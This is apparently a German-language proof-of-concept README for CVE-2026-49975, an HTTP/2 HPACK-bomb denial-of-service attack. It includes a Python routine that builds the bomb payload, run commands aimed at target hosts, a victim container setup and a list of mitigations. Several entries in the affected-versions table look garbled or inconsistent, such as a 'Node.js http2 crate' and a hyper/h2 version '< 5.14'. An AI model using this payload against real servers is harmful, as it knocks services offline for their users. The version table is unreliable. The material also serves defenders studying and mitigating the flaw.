
PoC-Exploit für CVE-2026-49975 HTTP/2 Bomb DoS-Sicherheitslücke. Zeigt, wie eine HPACK indexed reference bomb in Kombination mit einer flow-control window stall den Serverspeicher über eine einzelne Verbindung erschöpft.
CVE-2026-49975 ist eine kritische Denial-of-Service-(DoS-)Schwachstelle in HTTP/2-Server- und Proxy-Implementierungen. Der Angriff, der als „HTTP/2 Bomb" oder „HPACK Bomb" bezeichnet wird, nutzt zwei Verhaltensweisen auf Designebene im HTTP/2-Protokoll aus, um ein Ziel zu unbegrenztem Speicherverbrauch (OOM) und CPU-Erschöpfung zu zwingen:
CVSS 3.1 Base Score: 9.8 (Kritisch)
Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Der Angriff ist am effektivsten, wenn die beiden Stufen einander ergänzen, aber jede Stufe allein ist gegen einige Implementierungen ausreichend.
Die HPACK-Header-Komprimierung von HTTP/2 verwendet eine sich entwickelnde dynamische Tabelle. Sobald ein großer Cookie-Header in die Tabelle eingefügt wurde (über Literal+Incremental Encoding), kann ein Angreifer mit einem 1-Byte-Opcode auf diesen Eintrag verweisen. Wiederholte Referenzen veranlassen den Decoder, denselben Header immer wieder zu rekonstruieren.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
Ein 5-KB-Paket kann zu Hunderten von Megabyte dekodierter Nutzlast anwachsen.
SETTINGS mit INITIAL_WINDOW_SIZE=0 zwingt das Opfer, alle
HEADERS-/Continuation-Daten in die Warteschlange zu stellen. Der Angreifer
tröpfelt WINDOW_UPDATE-Frames langsam heraus. Die Puffer bleiben kombinatorisch voll.
| Mechanismus | Verstärkungsfaktor |
|---|---|
| roher HEADERS-Body | 1x |
| HPACK-Ref-Aufblähung | 20–80x |
| + gleichzeitige Streams | 100–500x |
| + Fenster-Stalling | 1000x+ |
| Hersteller / Projekt | Version | Beschreibung |
|---|---|---|
| Apache mod_http2 | < 2.0.13 | OOM bei Aufblähung indizierter Referenzen |
| nghttp2 | < 1.62.0 | unbegrenzte Speicheraufblähung |
| h2o | < 4.0.2 | Endlosschleife im Decoder |
| Node.js http2 crate | < 1.12.0 | intrinsische Expansion in nghttp2-rs |
| Go net/http (h2) | < 1.24 | Goroutine-Hänger + OSL-Allokation |
| Apache Traffic Server | < 9.3.0 | OOM über internen Puffer |
| HAProxy h2 | < 2.9 | Absturz bei übergroßem AVP |
| Envoy | < 1.30 | massive Allokation in der Flusskontrolle |
| Rust hyper/h2 crate | < 5.14 | Panik bei Überlauf SK |
Konsultieren Sie den CVE-Eintrag Ihres Herstellers für exakte Grenzwerte.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker-Schnellopfer:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
Das Begleitskript ist exploit.py.
Die Kernroutine:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
Das Skript führt Folgendes aus:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Überwachen Sie die Ressourcen des Opfers:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Anzeichen dafür, dass der Angriff wirkt:
| Ansatz | Einstellung |
|---|---|
| Header pro Stream begrenzen | MaxHeaderCount 500 |
| Geringe Kompression ablehnen | Verhältnis-Schwellenwert < 5 |
| HPACK-Wachstum begrenzen | dynamische Tabelle auf 1 KB begrenzen |
| Speicher pro Verbindung | nach N MB ablehnen |
| Ratenbegrenzung | generisch conn/s, req/s |
Diese Informationen dienen ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Führen Sie sie nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine schriftliche Testgenehmigung haben.